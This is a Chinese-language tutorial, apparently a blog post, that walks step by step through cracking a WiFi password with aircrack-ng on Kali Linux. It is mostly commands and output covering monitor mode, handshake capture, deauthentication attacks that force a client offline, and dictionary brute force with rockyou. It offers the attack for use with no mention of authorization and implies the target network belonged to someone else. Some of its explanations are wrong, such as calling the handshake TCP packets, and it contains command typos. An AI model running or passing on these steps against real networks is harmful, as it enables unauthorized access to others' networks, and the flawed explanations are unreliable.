aircrack-wifi密码破解

暴力破解wifi密码尝试

• 打开网卡监听模式
  • 监听设置结果
• 扫描wifi

打开网卡监听模式

打开终端，用 airmon-ng 命令查看

root@kali:~/capture# airmon-ng

PHY	Interface	Driver		Chipset

phy1	wlan0		rt2800usb	Ralink Technology, Corp. RT2870/RT3070

root@kali:~/capture# airmon-ng start wlan0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    702 NetworkManager
    949 wpa_supplicant

PHY	Interface	Driver		Chipset

phy1	wlan0		rt2800usb	Ralink Technology, Corp. RT2870/RT3070

		(mac80211 monitor mode vif enabled for [phy1]wlan0 on [phy1]wlan0mon)
		(mac80211 station mode vif disabled for [phy1]wlan0)

监听设置结果

输入 iwconfig 命令查看网卡信息， wlan0mon 网卡名加了 mon 则表示成功

root@kali:~/capture# ifconfig

扫描wifi

命令 airodump-ng wlan0mon，开始扫描 WiFi，按 ctrl+c 结束任务

BSSID 为 wifi 的 MAC 地址，PWR 为信号强弱程度,#DATA 为数据量，越大使用的人就越多，CH 为信道频率（频道），ESSID 为 wifi 的名称，中文可能会有乱码

开启数据抓包

接着输入 airodump-ng --bssid BSSID -c 信道频率 -w 抓包存储的路径 wlan0mon

airodump-ng --bssid F0:C8:50:53:DB:70 -c 11 -w /home/wifi wlan0mon

强制用户断开wifi连接

原理:给连接到wifi的一个设备发送一个deauth（反认证）包，让那个设备断开wifi，随后它自然会再次连接wifi。

键入 airepaly-ng -0 0 -c 连接到 WiFi 的手机 mac 地址 -a bssid 网卡名（一般为 wlan0mon）

aireplay-ng -0 10 -a F0:C8:50:53:DB:70 -c 00:5B:94:A0:B4:03 wlan0mon

root@kali:~/Downloads# aireplay-ng -0 10 -a F0:C8:50:53:DB:70 -c 00:5B:94:A0:B4:03 wlan0mon

(0 WiFi 设备无限次数,-0 10 则攻击 10 次。攻击原理是：先让设备掉线，设备会再自动连接，并发这个自动连接过程会进行三次握手，会发送 tcp 包（里面包含加密的密码数据），我方伪装成 WiFi 热点去窃取该数据包。我方窃取后即可用字典穷举法暴力破解加密的 WiFi 密码,数据包里面的密码是哈希加密的，哈希加密只能正向)

cd 打开抓包的目录，ls 列出来，就看到我们抓到的数据包

密码字典

• 解压 kali 自带的字典文件 路径：/usr/share/wordlists/rockyou.txt.gz

gzip -d/usr/share/wordlists/rockyou.txt.gz

暴力破解

键入 aircrack-ng -w 字典路径 握手包路径，回车后开始爆破

aircrack-ng -w /usr/share/wordlists/rockyou.txt ~/capture/-01.cap

"此处破解wifi密码并非自己设置，实属不易！")

耐心等待密码破解吧…

特别说明：暴力破解并不简单，需要足够强大的字典和时间，可以通过字典生成工具生成自己的字典，字典越强大越容易破解。。哈哈，也是需要点运气的！
